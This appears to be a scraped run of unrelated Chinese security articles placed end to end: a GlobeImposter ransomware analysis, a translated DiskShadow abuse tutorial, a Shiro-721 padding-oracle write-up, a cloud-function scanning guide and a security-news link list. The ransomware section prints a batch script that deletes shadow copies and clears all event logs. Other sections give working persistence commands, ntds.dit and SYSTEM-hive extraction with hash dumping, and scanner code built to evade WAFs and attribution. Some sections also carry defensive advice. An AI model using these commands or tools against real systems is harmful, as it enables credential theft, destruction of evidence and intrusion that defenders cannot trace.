## 0x1 Globelmposter 3勒索病毒简介
Globelmposter是一种比较活跃且变种比较多的病毒，其主要攻击手段是采用RSA加密算法加密本地磁盘下的所有文件，如果想要解密文件必须获取病毒作者手中的私钥信息，故这种病毒的危害性相对比较大。中了这种病毒的主机的主要特征就是，文件名会被加上Tigger444、Techno、DOC、CHAK、FREEMAN、TRUE、RESERVER、ALCO、Dragon444等后缀，在被加密的文件夹下会生成一个txt文档，记载着勒索信息及用户ID识别信息，用户需要将该ID发送给作者并支付一定数额的赎金方可获得解密程序，解锁被加密的数据文件。
## 0x2 GlobeImposter勒索病毒逆向分析
下面是针对近期爆发的GlobeImposter3.0样本进行的逆向分析（样本采集时间大概是在2019年2月份左右）。经过默安科技安全研究员郑斯碟分析，其主要行为包括：
### 0x0 勒索病毒加密逻辑说明
该勒索病毒使用的是两对RSA密钥。其中一对RSA密钥我们将其姑且称为黑客密钥，黑客密钥的私钥在黑客手上，而公钥则放在病毒程序里用于加密客户端上随机生成的RSA密钥。病毒程序将会使用这个用户密钥中的公钥对用户硬盘上的文件进行加密，而私钥信息则会由病毒程序通过黑客公钥进行加密，生成用户ID。用户主机被感染后，如果想恢复数据文件则需要向攻击者提供用户ID和一定的金钱。攻击者获取到这个用户ID后，通过自身掌握的黑客私钥对用户ID进行解密，获得其中的用户密钥，然后使用用户私钥对用户机子上被加密的文件进行解密。
以下是详细的分析过程
### 0x1 拷贝病毒文件到指定目录
该病毒执行后会先定位自身所在的文件目录，然后将自身拷贝到C:\Users\Administrator\AppData\Local目录
查看C:\Users\Administrator\AppData\Local
### 0x2 计算用户ID并写入到public目录下
向C:\Users\Public\文件目录下写入用于加密文件的公钥信息以及用户ID信息，文件名为黑客公钥的hash值。
00409B4B函数为计算用户ID的入口
跟进函数00409B4B
跟进Sub_40A116函数，在这里生成随机rsa密钥对
这里是将用户密钥拼接上.Tigger4444,然后使用黑客公钥将用户密钥信息进行加密。函数409FDE是rsa加密算法入口函数。
以下是rsa加密函数部分源码
在函数sub4027bc中对用户ID进行计算
用户ID计算总结：
在函数Sub_40A116中，随机生成一对RSA密钥，然后将密钥拼接上.Tigger4444等字符串用黑客公钥进行加密，将加密后的文本作为参数传入sub_4027bc函数中，进行一些逻辑运算，最终计算出用户ID值，随后将用户ID写入到public目录下的一个文件中。该文件为
C:\Users\Public\E93F1BCB76F7967D37EB95F05095BDC21391A049734A9DEB06741C6FAF1C1107.txt
文件内容为
上面一串为随机生成的rsa密钥对中的公钥信息，下面是用户ID。
### 0x3 生成勒索说明文件
计算用户ID，并将勒索信息和用户ID写入到HOW_TO_BACK_FILES.txt文件中。
HOW_TO_BACK_FILES.txt文件中的内容
### 0x4 创建注册表项，设置开机自启动
病毒程序通过操作注册表，添加一下表项，将病毒程序设置为开机自启。路径是：
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\BrowserUpdateCheck
执行这一操作的函数调用流程是：
病毒程序在sub_409524函数中对注册表项进行了添加操作，以下是sub_409524函数的相关源码
### 0x5 加密文件
加密逻辑说明：
该勒索病毒用的是两对RSA密钥。其中一对RSA密钥我们将其姑且称为黑客密钥，黑客密钥的私钥在黑客手上，而公钥则放在病毒程序里用于加密客户端上随机生成的RSA密钥。病毒程序将会使用这个用户密钥中的公钥对用户硬盘上的文件进行加密，而私钥信息则会由病毒程序通过黑客公钥进行加密，生成用户ID。用户主机被感染后，如果想恢复数据文件则需要向攻击者提供用户ID和一定的金钱。攻击者获取到这个用户ID后，通过自身掌握的黑客私钥对用户ID进行解密，获得其中的用户密钥，然后使用用户私钥对用户机子上被加密的文件进行解密。
下面是具体的加密过程：
首先病毒程序会通过GetDriveTpye函数判断受害者主机上的磁盘类型。这里根据编号3，2，4可以判断该病毒支持对硬盘、移动硬盘、网络硬盘进行加密。
接下来病毒程序会新建一个线程用于文件加密操作，线程方法名为__Tigger.004096EB，其三个参数分别为：当前盘符路径，加密key，用户ID。
通过对__Tiger44.004096EB函数进行断点跟踪，我们知道，这里调用了RSA加密函数，对文件进行加密。遍历分区下所有的文件（c:/*）使用RSA加密算法对文件进行加密，并修改文件扩展名为.Tigger4444
循环遍历所有文件，并对文件进行加密，改后缀名。
这里判断下遍历的文件中是否含有自身的病毒文件，如果有，则不加密。
rsa加密的具体位置
加密流程梳理
通过该调用图我们知道在函数sub_408D8B中调用了sub_409FDE函数，使用rsa加密算法对文件进行了加密。而sub_40116函数中也调用了sub_409FDE，这是做什么用呢？通过上面的分析我们知道，这是对用户密钥信息进行加密，也调用了RSA加密算法。所以这里使用rsa加密算法一共由两处，一处是用于加密密钥，一处是用于加密数据文件。其中加密文本使用的是用户端生成的公钥，而加密用户密钥使用的是黑客公钥。
### 0x6 新建bat文件，清除远程登入日志
病毒程序在加密结束后会在tmp目录下生成一个bat文件，
具体的内容如下：
@echo off
vssadmin.exe Delete Shadows /All /Quiet
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
cd %userprofile%\documents\
attrib Default.rdp -s -h
del Default.rdp
for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"
其功能主要是删除卷影副本，清除远程登入日志。
以下是创建生成bat文件的位置，函数00409449：
### 0x7 删除自身病毒文件
病毒程序在结束进程前会删除自身文件
以下是函数00409509处的代码
### 0x8 为什么被加密的后的文件无法被解密
因为病毒程序在加密硬盘文件的时候使用的是随机生成的rsa密钥进行加密的，并且使用了黑客的另一个rsa公钥对这对随机生成的rsa密钥进行加密。由于用户密钥被加密，只有用黑客的私钥才能够解密用户密钥，获取用户私钥，解密文件。
## 0x3 可能的植入手段及防护手段
目前勒索病毒的植入方式主要有三种方式：
1、通过服务器弱密码攻击植入。如3389远程密码爆破，之前版本的勒索病毒就曾搭载过该shellcode进行横向传播。
2、通过水坑网站进行植入，攻击者会事先分析某一群体经常浏览的网站，对该网站进行攻击，并将病毒下载地址植入到网站页面上，伪装成合法软件，诱导用户进行下载运行。
3、通过服务器漏洞进行植入，如JBOSS漏洞（CVE-2017-12149、CVE-2010-0738）、WebLogic漏洞（CVE-2017-10271）、Tomcat漏洞利用等。
针对以上勒索病毒的植入手段，默安科技建议：
1. 正对服务器配置进行必要基线检查
2. 关闭不必要对外开放的端口，如3389，445，139等端口
3. 检查服务器登陆密码是否采用弱口令
4. 针对服务器上用到的各种web中间件的漏洞应及时打升级补丁。 | 社区文章 |
# DiskShadow工具介绍：VSS绕过、持久化感染和活动目录数据库提取
##### 译文声明
本文是翻译文章，文章原作者 BOHOPS，文章来源：bohops.com
原文地址：<https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/>
译文仅供参考，具体内容表达以及含义原文为准。
## 介绍
在此之前，我曾发表过一篇标题为《Vshadow：如何利用卷影拷贝服务VSS实现安全防御绕过、持久化感染和活动目录数据库提取》的技术文章，感兴趣的同学可以阅读一下。这个工具非常有意思，因为它不仅可以进行卷影拷贝操作，而且它还提供了几个可以用于安全防御端的实用功能。实际上，安全防御绕过以及持久化感染可能并不是Vshadow.exe的长项，但对于DiskShadow.exe来说，这绝对是它的拿手好戏。
在这篇文章中，我们将跟大家详细介绍DiskShadow的使用，其中包括它提供给安全防御端的相关功能，以及相应的入侵威胁指标。
### DiskShadow是什么？
根据微软的官方文档：“DiskShadow.exe这款工具可以使用卷影拷贝服务（VSS）所提供的多个功能。默认配置下，DiskShadow使用了一种交互式命令解释器，这里跟DiskRaid或DiskPart比较类似。除此之外，DiskShadow还提供了一种脚本编程模式。”
实际上，DiskShadow的代码是由微软官方签名的，而且Windows Server 2008、Windows Server 2012和Windows
Server 2016中都包含了DiskShadow：
DiskShadow所提供的卷影拷贝服务需要有高等级访问权限（UAC绕过），但是其中也有部分命令工具可以给非特权用户调用，这也让DiskShadow成为了攻击者实现命令执行、安全绕过以及持久化感染的一种强大工具。
## DiskShadow命令执行
交互式命令解释器和脚本模式支持EXEC命令，无论是特权用户还是非特权用户，他们都可以在交互模式下或通过一个脚本文件来调用其他命令以及batch脚本。接下俩，我们会跟大家一一演示这些功能。
### 交互模式
在下面给出的样本中，一名普通用户调用了calc.exe程序：
### 脚本模式
在下面的样本中，一名普通用户通过使用“diskshadow.txt”作为参数成功调用了calc.exe和notepad.exe：
`diskshadow.exe /s c:testdiskshadow.txt`
跟Vshadow一样，我们这里需要注意的是，DiskShadow.exe是命令所生成的可执行程序的父进程。除此之外，DiskShadow将会一直运行下去，直到它的子进程终止执行。
## 持久化感染&绕过&自动化
由于DiskShadow是由微软签名的代码，所以我们可以利用注册表的AutoRuns来实现持久化感染和绕过。在接下来给出的样本中，我们将更新我们的脚本代码，并创建一个RunKey和计划任务。
### 准备工作
由于DiskShadow是以一种Windows命令窗口的形式使用的，所以我们需要修改我们的脚本去调用pass-thru命令执行，然后终止DiskShadow父进程以及后续的Payload。在某些情况下，如果Windows窗口的打开时间过长，那么这种技术的隐蔽性就会受到影响。但是，如果目标用户习惯于在登录时看到这种命令窗口提示的话，那就不会受到什么影响了。
注：下面的演示样例是在非特权/非管理员用户账号环境下进行的，实验平台为一台刚刚安装好的Windows Server 2016实例。
首先，我们需要修改我们的脚本（diskshadow.txt）来演示这项基本技术：
`EXEC "cmd.exe" /c c:testevil.exe`
为了支持命令转化，我们必须使用EXEC来调用初始代码，这同样可以在交互模式下进行。
接下来，我们需要利用下列命令来实现持久化感染。
- Run Key Value - reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v VSSRun /t REG_EXPAND_SZ /d “diskshadow.exe /s c:testdiskshadow.txt”
User Level Scheduled Task - schtasks /create /sc hourly /tn VSSTask /tr “diskshadow.exe /s c:testdiskshadow.txt”
接下来，我们来进行深入分析…
### AutoRuns – Run键值
创建好注册表键值之后，当我们打开AutoRuns并选择Logon标签之后，我们会发现刚才创建的键是隐藏的。默认配置下，Windows签名的可执行程序会自动隐藏在视图中，如下图所示：
取消勾选“隐藏Windows条目”（Hide Windows Entries）之后，我们就可以看到AutoRuns注册表键信息了。
### AutoRuns – 计划任务
跟之前的方法一样，我们的设置入口也默认在AutoRuns视图中隐藏了：
取消勾选“隐藏Windows条目”（Hide Windows Entries）之后，我们就可以看到AutoRuns注册表键信息了。
## 提取活动目录数据库
由于我们现在在讨论的是关于卷影拷贝工具的内容，所以我们需要先了解一下VSS用于提取活动目录数据库（ntds.dit）的相关方法。接下来，我们假设我们已经成功入侵了一个活动目录域控制器（Win2k12），并且成功以高级用户权限在脚本模式下运行了DiskShadow。
首先，我们先准备好我们的脚本。不过在此之前，我们需要通过一些网络侦察手段去确定目标驱动器号（包含了活动目录数据库的逻辑驱动器），并寻找出目标系统当前没有使用的逻辑驱动器号。下面给出的是我们的DiskShadow脚本代码（diskshadow.txt：[https://www.datacore.com/WIK-Webhelp/VSS/DiskShadow_Commands_Example.htm）：](https://www.datacore.com/WIK-Webhelp/VSS/DiskShadow_Commands_Example.htm%EF%BC%89%EF%BC%9A)
`set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:windowsntdsntds.dit c:exfilntds.dit
delete shadows volume %someAlias%
reset`
在我们的脚本中，我们创建了一个持久化卷影拷贝，这样我们就能够执行复制操作并捕捉到目标系统中的敏感文件了。通过监控目标逻辑驱动器，我们能够确定目标文件的拷贝路径，在删除我们的卷影拷贝之前，我们将把这个拷贝路径下的文件拷贝到“exfil”目录之中。
注意：我们还可以通过卷影设备名称/唯一标识符来拷贝出我们的目标文件，这种方法的隐蔽性比较高，但是我们还需要确保目标文件标签/UUID是正确的（通过网络侦察活动确定），否则我们的脚本将无法正常运行，这种技术在交互模式下的可行性更高。
下图给出的是命令执行以及DiskShadow运行的结果：
`type c:diskshadow.txt
diskshadow.exe /s c:diskshadow.txt
dir c:exfil`
除了活动目录数据库之外，我们还需要提取出SYSTEM注册表hive：
`reg.exe save hklmsystem c:exfilsystem.bak`
当我们成功从目标系统中提取出文件之后，我们将使用SecretsDump.py提取出NTLM哈希：
`secretsdump.py -ntds ntds.dit -system system.bak LOCAL`
成功啦！我们成功提取出了活动目录数据库以及相应哈希。接下来，我们一起来对比一下DiskShadow和Vshadow这两款工具之间的异同点。
## DiskShadow vs. Vshadow
DiskShadow.exe和Vshadow.exe这两款工具其实功能上非常类似，但是它们之间还是有一些去别的，因此我们可以根据自己的需要和情况来选择使用相应的工具。
### 操作系统包含
Windows Server操作系统从2008版开始就自带了DiskShadow.exe，但Vshadow.exe只存在于Windows
SDK之中。除非目标系统安装了Windows
SDK，否则我们必修要将Vshadow.exe上传到目标系统中。就此看来，DiskShadow.exe的优势就比较明显了。
### 工具与实用性
在普通用户场景下，我们可以在不需要特殊权限的情况下使用DiskShadow的部分功能。在我们之前的测试场景中，Vshadow可能会受到高级权限的影响和限制并导致功能无法正常使用。除此之外，DiskShadow更加灵活，对命令转换的支持也做得比较好，这也是DiskShadow的优势之一。
### 命令行
Vshadow对“命令行”的支持做得比较好，而DiskShadow则只需要通过交互命令或脚本文件来实现。除非你可以通过远程“TTY”访问目标系统，否则DiskShadow的交互命令窗口可能会受到限制，而且向目标设备上传文件或创建文件可能会增加被检测到的记录。所以在某些安全条件比较严苛的场景中，Vshadow可能就比较有优势了。
## 总结
综上所述，DiskShadow似乎更加吸引我们。不过，这并不会影响我们对Vshadow（以及其他VSS方法）的使用。而且在此之前，其实也有很多攻击者会Vshadow来实现攻击。对于DiskShadow来说，蓝队和网络防御人员可以考虑以下几个因素：
1. 监控卷影拷贝服务（VSS），检测随机卷影拷贝活动以及任何涉及到活动目录数据库文件（ntds.dit ）的可疑行为。
2. 监控System Event ID 7036（卷影拷贝服务进入运行状态的标志）的可疑实例以及VSSVC.exe进程的创建事件。
3. 监控diskshadow.exe以及相关子进程的进程创建事件。
4. 监控客户端设备的diskshadow.exe实例创建，除非是业务需要，否则Windows操作系统中不应该出现diskshadow.exe。
5. 监控新的逻辑驱动器映射事件。
6. 拦截可疑的AutoRuns注册表键，审查已签名的代码和脚本文件。
7. 提升应用程序白名单的安全性能，提升脚本安全策略。
最后，感谢大家的阅读！ | 社区文章 |
## 环境搭建
git clone https://github.com/apache/shiro.git shiro-rootcd shiro-root
git checkout -f shiro-root-1.4.0
参考之前SHIRO-550的搭一下就行
## 漏洞分析
首先是SHIRO-550，触发点是cookie中的RememberMe，漏洞触发流程：
1. base64 解码
2. 使用 AES 解密
3. 反序列化解密后的字符串
shiro-1.25以前，AES密钥是硬编码到源码中的，因此可以更改RememberMe的值进行反序列化RCE
而1.2.5之后，shiro采用了随机密钥，也就引出了SHIRO-721，通过padding oracle attack的方式得到，
根据p0师傅之前的文章，在shiro中，当我们更改padding值时，padding正确但反序列化错误则会爆deserialize
error；padding错误爆padding error，
具体处理代码如下：
padding正确但爆反序列化error
try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
T deserialized = (T) ois.readObject();
ois.close();
return deserialized;
} catch (Exception e) {
String msg = "Unable to deserialize argument byte array.";
throw new SerializationException(msg, e);
}
padding错误爆padding error
try {
return cipher.doFinal(bytes);
} catch (Exception e) {
String msg = "Unable to execute 'doFinal' with cipher instance [" + cipher + "].";
throw new CryptoException(msg, e);
}
而shiro中如果解密rememberMe的过程中有错误，统一的处理方式都是调用removeFrom，最终返回deleteMe
这就很矛盾，没办法构造出padding oracle需要的bool条件。
解决这个问题用到了java反序列化中的一个小trick，java中的ObjectOutputStream是一个Stream，他会按格式以队列方式读下去，后面拼接无关内容，不会影响反序列化。通过这种方式，在抓到的rememberMe之后加新的iv和value，就既能反序列化成功，又能验证padding是否正确了，从而满足了padding
oracle所需要的bool条件。具体的padding oracle过程和CBC bit flipping就不详细写了，参考之前大佬们的文章即可。
除此之外，shiro的接口在验证登陆时有authc和user两种权限，authc是认证过，user是登录过，如果开启了rememberMe功能的话，user可以通过的，而authc通过不了。因此rememberMe只在有user权限的接口有用。
综上，该洞的利用条件如下：
1. 可以登录
2. 找到可以用rememberMe的接口
3. 可以padding oracle
## 本地测试
网上的poc很多，这里直接找一个跑一下本地的shir-simpleweb环境就行，URLDNS很容易验证。
## 实战挖掘
漏洞刚出时找到了一个RuoYi CMS，使用了shiro 1.4.1。
本地照文档搭起来，看一下接口：
public AjaxResult ajaxLogin(String username, String password, Boolean rememberMe)
{
UsernamePasswordToken token = new UsernamePasswordToken(username, password, rememberMe);
Subject subject = SecurityUtils.getSubject();
try
{
subject.login(token);
return success();
}
...
}
这里用到了rememberMe，下面找一下哪些接口有使用的权限。
// 所有请求需要认证
filterChainDefinitionMap.put("/**", "user,kickout,onlineSession,syncOnlineSession");
shiroFilterFactoryBean.setFilterChainDefinitionMap(filterChainDefinitionMap);
shiroConfig里很清楚，所有接口都有user权限，大概稳了。
exp打一发，收到了URLDNS，稳了
## 参考
> <https://p0sec.net/index.php/archives/126/>
> <https://superxiaoxiong.github.io/2019/11/26/shiro-padding-oracle-> attack%E5%88%86%E6%9E%90/> | 社区文章 |
**作者：风起**
# 前记
大家好，我是风起，本次给大家分享的是 **Serverless扫描技术** 也是我在SecTime沙龙演讲时讲到的一种隐匿扫描技术，通过
**Serverless（云函数）**
实现各种扫描器探测功能，以达到绕过态势感知、WAF等安全设备，增大蓝队研判人员溯源难度，实现封无可封，查无可查的效果。希望大家通过阅读本文能够有所收获，那么下面由我来给大家揭秘这个有趣的攻击方式吧。
# Serverless目录扫描实现
首先创建一个云函数，这里以腾讯云举例。
然后选择自定义创建，运行环境选择python3.6，函数名随意，地域则随便选一个即可，会随机分配该地域下的IP作为我们的出口IP地址，配置与云函数上线CS的方式相同。
云函数代码为以下，无论是云函数还是域前置或者反向代理等手段，本质都是流量转发，所以我们在云函数上编写的核心代码就是实现了单次扫描返回信息的功能，剩下的控制代码则由我们本地编写的代码执行。
# -*- coding: utf8 -*- import requests
def main_handler(event, context):
headers=event["headers"]
url=event["queryString"]["url"]
path = event["queryString"]["path"]
crake_url=str(url+path)
try:
r = requests.get(crake_url,timeout=5,headers=headers,verify=False)
status = r.status_code
except Exception:
status = None
pass
return status,crake_url
配置好云函数代码后，继续进入 **触发管理** 选项。
触发器配置如图所示，注意取消勾选集成响应。
编辑API配置中，将路径设置为 **/** ，然后点击 **立即完成**
然后得到了两个API网关的公网域名，这时我们就已经完成了基本配置。可以通过这两个公网域名实现对我们上面编写的云函数功能的触发实现。
这里进一步编写一个简单的Demo，在本地实现了一个目录扫描的功能，通过对获取的公网地址传参，实现以云函数服务对指定站点目录扫描，这里我传递了要扫描的url地址以及字典，代码如下：
在我们本地执行代码进行扫描，会得到响应给我们并输出扫描结果。
通过微步情报可以发现确为，腾讯云—广州的IDC服务器
但是大家注意看 **Apache access.log日志中** header头中的User-Agent为python-requests/2.26.0，存在了很明显的特征，这时我们继续修改本地控制代码。
我们创建一个 get_ua-header.py文件，其中创建了一个UA数组，存放了大量不同的User-Agent。
这里导入我们刚才创建的UA数组，然后在第二个箭头所指处设置header的User-Agent每次都随机获取UA数组中的值，再在发送请求中指定header，当然这里仅为了演示，如果真实场景下，可以将header头自定义设置更多选项让它看起来更像是一个合法的请求。
这里云函数中获取到了我们本地请求API网关域名的headers然后在转发时将它的header替换为我们本地请求包中的header从而实现了自定义header的效果，修改后的扫描情形如下图所示：
发现在Apache日志中，User-Agent已经为我们本地请求的随机信息，那么通过继续自定义本地控制代码中的header信息让他看起来更加合理，就可以实现更加隐匿的扫描啦。
继续我们重复上面的操作，创建一个一模一样的云函数，API网关也为相同配置，但是需要注意的是选择的地域要为不同的地方，因为
**单个用户在某个地域只能有5个随机出口IP**
，也就是说如果这五个IP均被封禁了那么我们的扫描就无法继续进行了，但是攻防本身就是对等的，那么有什么办法能够绕过呢？
我们增加了两个一模一样的云函数配置，仅为选择的地域不同，也是为了绕过上面这一限制，修改我们的代码添加另一个API网关域名地址对字典进行分工扫描，两个云函数分别截取字典的部分内容进行扫描，这里我选择的地域是广州和上海，然后开始目录扫描。
现在继续查看access.log日志，发现多出了一些上海的IP地址，是不是更加迷惑了呢？而在目标业务系统中每天面对大量的请求使用中，以往的排查溯源思路都是过滤频繁访问或者进行可疑操作的IP地址，但是对于这种情况，通常会被一些正常的请求混杂其中，防守方进行日志审计时往往就会认为这些是正常的HTTP请求。
关于这里分批扫描的实现思路在 **拓展延伸** 会继续深入讲解。
# Serverless端口扫描实现
然后我们继续来实现端口扫描器的实现，云函数的配置及API网关配置这里就不多做赘述了，与上面讲到的一样，这里我们仅关注云函数代码和本地控制代码的实现。
云函数代码如下：
# -*- coding: utf8 -*- from socket import *
def main_handler(event, context):
IP=event["queryString"]["ip"]
port=event["queryString"]["port"]
try:
conn=socket(AF_INET,SOCK_STREAM)
res=conn.connect_ex((str(IP),int(port)))
conn.send('Hello,World!'.encode("utf8"))
results=conn.recv(25)
if res==0:
conn.close()
return port
except Exception as err:
print(err)
finally:
print("")
conn.close()
return None
同样这里云函数仅需要实现简单的单次端口扫描，我们的控制代码如下：
可以看到，这里同样应用了上面的讲到的分批扫描，如果说上面讲到的是通过对字典中的路径区分使用两个不同的云函数API网关域名，那么这里的端口扫描则为通过端口来区分。
因为端口扫描会慢一些，所以这里我使用了协程的方式，扫描速度会更快，使用了grequests模块。
这里执行一下本地扫描脚本，成功的得到了目标主机端口的开放情况，但这不是重点。
这里使用Hfish来展示态势感知中的端口扫描情况
可以看到，对这些端口扫描的IP均为腾讯云的随机IP，是不是无从下手呢？
通过Kunyu对这些IP进行批量查询发现，发现所在地均为中国上海和成都两地，也证实了攻击IP为我们云函数的出口IP地址，并且这些数据的Time时间均比较早，而在威胁情报中看到这些IP为IDC服务器，也辅助说明了这些IP为已经回收目前应用于云函数进行请求的云服务器的IP地址，这里的时间因素也是我们后续判断溯源这种攻击方式的关键所在。
欢迎大家来了解一下Kunyu，是一个很好用的空间测绘数据分析工具，其中亮点满满哦~
非常适合大家在红蓝对抗的工作中进行信息收集或者溯源等工作，不同于其他工具的是，Kunyu的设计更贴合数据分析的工作而不仅仅只是IP导出。
**下载地址：<https://github.com/knownsec/Kunyu>**
# 拓展延伸
上面讲到了 **单个用户在某个地域只能有5个随机出口IP**
那么在更大流量的扫描下，单次如果仅仅只是5个扫描的IP地址，依旧非常容易被排查出来从而封禁IP。那么为了解决这一问题，我们可以通过分批次的方式进行扫描，如果是端口扫描，我们就可以创建多个云函数且为不同地域分工扫描不同端口，在态势感知来看就是这n*5个IP地址在进行扫描，也就解决了单个地域只能有5个IP的窘境。
同样进一步思考，我们也可以在相同的云函数下创建多个地域的云函数，再创建其他厂商的云函数，实现了IP地址的多元化，在这个基础上再创建不同地域，理论上可以这样一直叠加，实现单兵大流量扫描。
对于大集团目标，通常每天态势感知都会有很大的扫描流量，那么在这种情况下，如果给我们的云函数扫描再加上一定程度的随机延时扫描，那么在态势列表中看到的就是一堆不连续的单次请求，如果是目录扫描则会直接认为是正常的请求，因为IP的随机性以及请求包的合法性、不连续性根本无法联想这是一次扫描事件，更不要谈溯源的问题了，根本无法还原攻击链，这样的攻击只会比C2隐匿反弹更难缠。
整个实现过程思维导图如下：
各位小伙伴也可以在我所讲的基础上，更进一步将请求包完善的尽量合理化，这样面对防火墙等设备，面对大量的IP扫描也无法通过IP频繁请求的方式从而封禁IP，导致封无可封，更别谈溯源的问题了。而本地的控制代码可以帮助我们更好的对整个扫描进行控制处理，让整个扫描更加个性化，云函数代码只进行单次流量转发扫描，而本地代码则负责了通过什么样的方式扫描的问题。
但是面向蓝队成员来讲也不需要太过恐慌，毕竟有攻就有防，针对这种扫描，如果找出可疑流量直接封禁IP即可，这种情况下就会导致红队扫描结果的不准确，某个IP被封禁了，那么他的后续通过这个IP的请求都将扫描失败。
再退到红队的角度，面对上面的应对方式，我们可以通过思维导图中讲到的分工扫描，多个云函数交替重复相同的扫描任务防止封禁，这样某个IP被封禁也不用怕扫描的失效，当然一般来讲封禁IP也都是扫描结束后的事情了，通常防守方根本没那么快的响应速度。
我一直认为攻防对抗双方是对等的立场，各自都有自己的优势，而如何利用自身的这种优势实现目标就是需要思考的问题了，在检验企业安全的同时也在磨练技术人员的技术水平，这也是红蓝对抗的意义所在。所以大家在思考攻击或者防守问题时一定要站在对立的角度去想，思考对方的应对手段才能找到问题的突破点。
上面提到的代码均已上传至Github，感兴趣的师傅可以自行下载，也可以自己编写。
**下载地址：<https://github.com/wikiZ/ServerlessScan>**
# 后记
回忆一下2021年11月份，我平均每周都会进行一次演讲活动，或为团队分享、内部分享、沙龙分享，也很感谢各位小伙伴的支持。我觉得在这种分享的场景下，是非常提升交流沟通能力的。在与运营小姐姐的对接，预演等工作以及准备PPT，构思怎么去把自己所学的更好的讲出来，能够让别人接受，这些都是以往我没有去想过做过的事情，我觉得人也正是在每一次这种经历下不断成长起来的，我也深知自己能力不足，所以始终不敢懈怠。
时至今日，Kunyu有了很多Title，补天白帽大会年度最佳兵器奖，404星链计划，Kcon兵器谱等，也很感谢大家的支持，我也没有想到当初无心去做的一件事情能够得到那么多人的支持，我也会坚持更新听取大家的需求，去更好的完善Kunyu，看到国内的师傅们甚至国外的从业者的关注我觉得真的是一件非常有成就感的事情。
至于风起这一ID，最初的取义是来自 **风起于青萍之末**
作为灵感。因为我也并非科班出身，所以ID的取义也是希望自己能够在不断的积累中逐渐壮大，真正的大风起兮，当然距离这一目标还有非常远的路要走哈哈哈。
回想一下2021年，我共输出了8篇文章，这个数量其实是不多的，但是我始终坚持输出我认为有用的知识点，哪怕几个月输出一篇，我也坚持不去制造一些重复性的工作，每篇文章都会带入自己的一些想法给大家。我觉得如果写文章变成了为了写文章而去写那么就失去了它的意义所在，所以我一直坚持在安全文章平台去写，看到一些公众号付费的文章也只能付诸一笑，我赞同知识付费，但是就我个人而言，能够让更多的人看到我的文章有所收获了解到风起，远比利益本身重要得多，所以我也会继续坚持这一理念，坚持输出，继续进步。
也许因为这是本年度最后一篇文章，所以在后记讲的多了一些，也希望大家理解，在这里感谢大家在这一年度对我的支持，祝大家心想事成，美梦成真。
想要交流涉网案件、红队攻防技术的师傅可以联系我，平常我也非常喜欢交朋友。
* * * | 社区文章 |
# 【知识】5月25日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：
Samba远程代码执行漏洞(CVE-2017-7494)分析、可靠的发现和利用Java反序列化漏洞、Pwn2own漏洞分享系列：利用macOS内核漏洞逃逸Safari沙盒
、macOS下Nylas邮件客户端的命令执行漏洞、ios开发中常见的安全漏洞 、chrome V8 越界读写漏洞分析、利用可信文档实现PDF
UXSS、利用DNS隧道进行C＆C通信**
**
**
**资讯类：**
* * *
在Samba潜伏7年的可蠕虫的远程代码执行漏洞
<https://arstechnica.com/security/2017/05/a-wormable-code-execution-bug-has-lurked-in-samba-for-7-years-patch-now/>
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
Samba远程代码执行漏洞(CVE-2017-7494)公告
<https://lists.samba.org/archive/samba-announce/2017/000406.html>
Samba远程代码执行漏洞(CVE-2017-7494)分析
<http://bobao.360.cn/learning/detail/3900.html>
可靠的发现和利用Java反序列化漏洞
<https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/>
对亚洲大型apt组织OceanLotus的跟踪分析
<https://www.cybereason.com/labs-operation-cobalt-kitty-a-large-scale-apt-in-asia-carried-out-by-the-oceanlotus-group/>
wordpress漏洞利用框架
<https://github.com/rastating/wordpress-exploit-framework>
Auto Hooks Spider
<http://www.thinkings.org/2017/05/24/auto-hooks-spider.html>
Pwn2own漏洞分享系列：利用macOS内核漏洞逃逸Safari沙盒
<http://blogs.360.cn/blog/pwn2own-using-macos-kernel-vuln-escape-from-safari-sandbox/>
macOS下Nylas邮件客户端的命令执行漏洞
<http://elladodelnovato.blogspot.com.es/2017/05/nylas-mail-command-injection-on-macos.html>
ios开发中常见的安全漏洞
<https://github.com/felixgr/secure-ios-app-dev>
那些你不知道的爬虫反爬虫套路
[https://mp.weixin.qq.com/s?__biz=MjM5MDI3MjA5MQ==&mid=2697266133&idx=1&sn=51426072d8ad4c4496795127e9c9f1ae](https://mp.weixin.qq.com/s?__biz=MjM5MDI3MjA5MQ==&mid=2697266133&idx=1&sn=51426072d8ad4c4496795127e9c9f1ae)
Linux查杀木马经验总结
<http://qicheng0211.blog.51cto.com/3958621/1928738>
chrome V8 越界读写漏洞分析
<https://halbecaf.com/2017/05/24/exploiting-a-v8-oob-write/>
NTP，SSDP和DNS放大攻击简述
<https://blog.cloudflare.com/reflections-on-reflections/>
File2pcap:通过模拟流量并创建合适的pcap文件
<http://blog.talosintelligence.com/2017/05/file2pcap.html>
chrome V8 越界读写漏洞分析
<https://halbecaf.com/2017/05/24/exploiting-a-v8-oob-write/>
如何加固你的网络环境
<https://www.appsecconsulting.com/blog/get-back-to-basics-before-you-get-pwned>
Trend Micro ServerProtect多个漏洞
<https://www.coresecurity.com/advisories/trend-micro-serverprotect-multiple-vulnerabilities>
利用可信文档实现PDF UXSS
<http://insert-script.blogspot.co.at/2017/05/pdf-fdf-uxss-via-trusted-document.html>
MS Edge:Exploiting MS16-145: MS Edge TypedArray.sort Use-After-Free
(CVE-2016-7288)
